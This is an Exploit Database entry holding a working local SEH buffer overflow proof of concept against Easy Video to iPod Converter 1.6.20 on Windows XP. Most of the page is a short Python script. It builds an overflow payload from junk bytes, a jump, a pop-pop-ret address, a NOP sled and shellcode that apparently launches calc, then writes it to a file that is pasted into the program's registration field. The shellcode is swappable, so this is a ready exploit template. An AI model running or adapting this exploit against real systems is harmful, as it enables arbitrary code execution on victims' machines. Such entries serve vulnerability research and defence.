



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

Easy Video to iPod Converter 1.6.20 - Buffer Overflow (SEH)

EDB-ID:

46255

CVE:

N/A

EDB Verified: ✘

Author:

[NAWAF ALKERAITHE](#)

Type:

[LOCAL](#)

Exploit:  

Platform:

[WINDOWS](#)

Date:

2019-01-28

Vulnerable App: 





EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

```
# Exploit Title: Easy Video to iPod Converter - Local Buffer Overflow (SEH)
# Date: 2019-01-26
# Exploit Author: Nawaf Alkeraithe
# Twitter: @Alkeraithe1
# Vulnerable Software: Easy Video to iPod Converter 1.6.20
# Vendor Homepage: http://www.divxtodvd.net/
# Version: 1.6.20
# Software Link: http://www.divxtodvd.net/easy_video_to_ipod.exe
# Tested Windows XP SP3 x86
```

PoC Steps

```
#1- run the program
#2- click on "Register"
#3- In the "Enter User Name" field, past the content of the payload, and
click "OK"
```

```
junk = "A"*996
jmp = "\xEB\x06\x90\x90"
popPopRetAddr = "\x11\x7B\x03\x10"
NOPs = "\x90"*20;
shellCode =
"\x31\xc9\x51\x68\x63\x61\x6C\x63\x54\xB8\xC7\x93\xC2\x77\xFF\xD0"
```

```
payload = junk + jmp + popPopRetAddr + NOPs + shellCode
```

```
exploitText = open("exploit.txt", "w")
exploitText.write(payload)
exploitText.close()
```

Tags: [Local Buffer Overflow](#)

Advisory/Source: [Link](#)

[Databases](#) ▾[Links](#) ▾[Sites](#) ▾[Solutions](#) ▾

EXPLOIT DATABASE BY OFFSEC

[TERMS](#)[PRIVACY](#)[ABOUT US](#)[FAQ](#)[COOKIES](#)

©

[OffSec Services Limited](#) 2026. All rights reserved.